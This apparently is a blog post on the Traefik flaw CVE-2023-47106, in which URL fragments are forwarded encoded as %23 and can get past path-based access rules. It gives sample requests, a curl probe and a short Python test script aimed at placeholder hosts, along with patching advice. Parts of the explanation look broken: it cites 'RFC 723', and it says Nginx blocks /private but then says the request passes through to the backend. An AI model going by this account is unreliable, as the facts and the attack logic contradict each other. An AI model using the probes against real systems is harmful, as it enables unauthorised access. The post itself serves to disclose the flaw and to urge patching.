In late 2023, a vulnerability tracked as CVE-2023-47106 was disclosed in Traefik, a popular open-source HTTP reverse proxy and load balancer. This issue can allow attackers to bypass route-based protections by abusing how URL fragments are processed and forwarded by Traefik—even when another proxy such as Nginx is placed in front.
In this post, we’ll break down what CVE-2023-47106 is, how it can be exploited, and the impact it can have on your deployments. We’ll also look at some code snippets, real-world exploit scenarios, and practical advice for remediation.
What is the issue with CVE-2023-47106?
When Traefik receives an HTTP request containing a URL fragment (the part after the #), Traefik incorrectly encodes and forwards it to backend servers. This isn’t compliant with RFC 723, which defines that only the path and query components should be forwarded—fragments are meant for browsers, not servers.
Brazenly, the fragment can get encoded as %23 (the encoded version of #) and handed off to the next hop. Backends and intermediaries, especially WAFs or proxy servers, can behave differently when encountering these rewritten URLs.
Nginx as a frontend proxy (enforcing access rules)
2. Traefik as a backend/reverse proxy
Backend application
If Nginx is blocking requests to /private, but only checks up to the ? (query) and stops at the # (fragment, which it ignores), an attacker can send:
GET /private#hello HTTP/1.1
Host: vulnerable.site
Nginx sees /private (safe, blocks as expected), but Traefik will forward
GET /private%23hello HTTP/1.1
Host: backend
Now, if the backend application decodes %23 as #, access controls that were based on the path can be bypassed. This results in accessing protected routes!
Diagram
Attacker
|
GET /secret#bypass
|
[Nginx frontend] (blocks /secret?*) — ignores fragment
|
V
[Traefik backend] (encodes # to %23)
|
V
[Backend App] (sees /secret%23bypass)
1. Send a Request With Fragment
curl -v "http://TARGET/private#bypass";
Nginx Access Log (Blocked)
GET /private HTTP/1.1
On Backend (Received via Traefik)
GET /private%23bypass HTTP/1.1
2. Example Nginx Config (blocking /private)
location /private {
deny all;
}
But you can access /private%23bypass via Traefik if the backend doesn’t enforce the same restriction.
3. Testing with a Script
import requests
url = "http://victim.com/private#admin";
r = requests.get(url)
print(r.status_code)
If you get a 200 OK instead of a block/403, you’ve found the issue.
API Gateways: Access to endpoints that should be protected.
- Multi-layer Proxies: Second-level proxies (like Traefik) may forward encoded fragments, which is not expected.
References and Links
- Original CVE-2023-47106 advisory
- Traefik Security Announcement
- RFC 723, Section 5.3: Request Target
- Traefik Releases
If you use Traefik, update immediately!
Older versions are still vulnerable. There are *no known workarounds*. Simply blocking fragments in frontend proxies is *not sufficient*.
Conclusion
CVE-2023-47106 is a great example of how deviations from protocol specs (RFCs) can open serious security holes—especially in multi-layered architectures. If you’re running Traefik behind another proxy and relying on path-based access controls: patch now!
Always stay up to date with your infrastructure components, and be aware of how they process and forward HTTP requests—even those obscure fragment bits most of us never think about.
Stay safe!
For more details, consult the official advisory.
Timeline
Published on: 12/04/2023 21:15:33 UTC
Last modified on: 12/07/2023 21:01:57 UTC